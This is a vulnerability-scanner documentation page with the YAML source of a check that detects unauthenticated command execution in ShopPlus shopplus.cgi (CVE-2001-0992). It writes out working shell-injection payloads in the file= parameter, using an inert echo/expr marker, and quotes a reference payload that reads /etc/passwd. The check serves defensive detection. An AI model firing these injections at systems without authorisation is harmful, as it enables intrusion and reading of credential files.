ShopPlus — 1 vulnerability check
noctis ships 1 vulnerability check for ShopPlus, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ShopPlus shopplus.cgi Command Execution
| CVE | CVE-2001-0992 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/shopplus/CVE-2001-0992.yaml |
Detects unauthenticated command execution in shopplus.cgi of the ShopPlus shopping cart (CVE-2001-0992). The script opens the file named by its file parameter with Perl's two-argument open(), so a value ending in `|` runs a shell command as the web server user and prints its output in the page. The feed requests shopplus.cgi under /cgi-bin, /scripts, /cgi-local, /cgi and the web root with file=;echo NOCTIS`expr a - b`| (per-run random numbers, spaces written as ${IFS} so the request works whether or not the query string is URL-decoded), then, when that gave no proof, with file=|echo NOCTIS`expr a - b`| for scripts whose parameter parser also splits on ";". It reports only when the reply contains NOCTIS followed by the computed difference, which only real shell execution can produce. Nothing is read or written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/shopplus.cgi?dn={{ov.dn}}&cartid=%CARTID%&file=;echo${IFS}NOCTIS`expr${IFS}{{… - Checks
inj.bannerforNOCTIS→ finding QoD 97: shopplus.cgi command execution confirmed via GET …/shopplus.cgi?dn=…&cartid=%CARTID%&file=;echo NOCTIS`expr … - …`|: the shell printed NOCT… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/shopplus.cgi?dn={{ov.dn}}&cartid=%CARTID%&file=|echo${IFS}NOCTIS`expr${IFS}{{… - Checks
inj2.bannerforNOCTIS→ finding QoD 97: shopplus.cgi command execution confirmed via GET …/shopplus.cgi?dn=…&cartid=%CARTID%&file=|echo NOCTIS`expr … - …`|: the shell printed NOCT…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2001-0992
- http://archives.neohapsis.com/archives/bugtraq/2001-09/0012.html
- http://www.securiteam.com/unixfocus/5PP021P5FK.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/7077
Feed source — tests/vulnerabilities/shopplus/CVE-2001-0992.yaml
# ShopPlus shopping cart shopplus.cgi file= command execution (CVE-2001-0992)
#
# Credit: target script and request shape adapted from Greenbone's
# `pre2008/shopplus_information_disclosure.nasl` (GPL-2.0-only, SecuriTeam
# 2001, advisory securiteam.com/unixfocus/5PP021P5FK.html), which — once
# <dir>/shopplus.cgi answers 200 under "/" or a CGI dir — requests
# <dir>/shopplus.cgi?dn=<host minus its first label>&cartid=%CARTID%&file=;cat%20/etc/passwd|
# and looks for the passwd entries in the reply.
#
# Root cause: shopplus.cgi opens the page named by file= with Perl's
# two-argument open(); a name ending in `|` is run by /bin/sh as a read pipe
# ("<dir>/;<cmd>|": the first word fails, <cmd> runs) and the command's output
# is printed in the page.
#
# This feed sends file=;echo${IFS}NOCTIS`expr${IFS}<a>${IFS}-${IFS}<b>`| raw
# (a = 7-digit, b = 6-digit per-run random ints):
# * ${IFS} instead of spaces and no `%`/`+` in the payload: the same bytes
# reach the shell whether or not the CGI URL-decodes its query string;
# every Bourne shell knows ${IFS} and expr. No `$((`: the value is data in
# a Perl string, and shells without arithmetic expansion still run expr.
# * the difference a-b never appears in the request, so a page that reflects
# or strips the file= value cannot produce it.
# * dn= and cartid=%CARTID% are kept as the reference request sends them.
#
# A second request, file=|echo...| (no `;`), covers CGI.pm-style parsers that
# split the query on `;` as well as `&` (file= would arrive empty).
#
# Better than the reference check: no /etc/passwd read (an inert computed
# marker instead), no dependency on a prior 200 for the bare script (a CGI
# that errors without parameters is still probed), and a reply that merely
# contains "root:" text (a reflector, a docs page) cannot match.
uid: d81b3ae8-1b92-4bb1-8ca1-abc56fd30e7d
name: "ShopPlus shopplus.cgi Command Execution (CVE-2001-0992)"
description: |
Detects unauthenticated command execution in shopplus.cgi of the ShopPlus
shopping cart (CVE-2001-0992). The script opens the file named by its file
parameter with Perl's two-argument open(), so a value ending in `|` runs a
shell command as the web server user and prints its output in the page. The
feed requests shopplus.cgi under /cgi-bin, /scripts, /cgi-local, /cgi and the
web root with file=;echo NOCTIS`expr a - b`| (per-run random numbers, spaces
written as ${IFS} so the request works whether or not the query string is
URL-decoded), then, when that gave no proof, with file=|echo NOCTIS`expr a - b`|
for scripts whose parameter parser also splits on ";". It reports only when the reply contains NOCTIS followed by the
computed difference, which only real shell execution can produce. Nothing is
read or written on the target.
cves: [CVE-2001-0992]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [shopplus, shopping-cart, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-0992"
- "http://archives.neohapsis.com/archives/bugtraq/2001-09/0012.html"
- "http://www.securiteam.com/unixfocus/5PP021P5FK.html"
- "https://exchange.xforce.ibmcloud.com/vulnerabilities/7077"
steps:
# a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
# dn: the last two labels of the target host (www.shop.example.com -> example.com),
# as the reference request builds it.
- id: gen-tokens
action: script
code: |
let a = rand_int(5000000, 9999999);
let b = rand_int(100000, 999999);
let parts = split(target_host, ".");
let dn = if parts.len() >= 2 { parts[parts.len() - 2] + "." + parts[parts.len() - 1] } else { target_host };
#{ a: a, b: b, diff: "" + (a - b), dn: dn }
store_as: ov
# ── Per location (CGI dirs + the web root): this step and every following one ──
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init
action: set_var
var_name: inj
var_value: {connected: false, banner: null}
loop:
over:
- "/cgi-bin"
- "/scripts"
- "/cgi-local"
- "/cgi"
- ""
var: dir
- id: init2
action: set_var
var_name: inj2
var_value: {connected: false, banner: null}
# file=;echo${IFS}NOCTIS`expr${IFS}a${IFS}-${IFS}b`| (raw: no % or + in the payload)
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/shopplus.cgi?dn={{ov.dn}}&cartid=%CARTID%&file=;echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: inj
- id: confirm
action: match
source: inj.banner
pattern: "NOCTIS"
condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "shopplus.cgi command execution confirmed via GET {{dir}}/shopplus.cgi?dn={{ov.dn}}&cartid=%CARTID%&file=;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the reply"
stop: true
# Fallback without `;`: a CGI.pm-style parser splits the query on `;` too, so
# file=;... arrives empty. file=|echo...| makes the shell run
# "<shopdir>/|echo ..." — the first stage fails, the second prints the marker.
- id: inject-pipe
action: tcp_connect
port: "{{port}}"
condition: "!(type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.banner))"
send: "GET {{dir}}/shopplus.cgi?dn={{ov.dn}}&cartid=%CARTID%&file=|echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: inj2
- id: confirm-pipe
action: match
source: inj2.banner
pattern: "NOCTIS"
condition: "type_of(inj2.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj2.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "shopplus.cgi command execution confirmed via GET {{dir}}/shopplus.cgi?dn={{ov.dn}}&cartid=%CARTID%&file=|echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the reply"
stop: true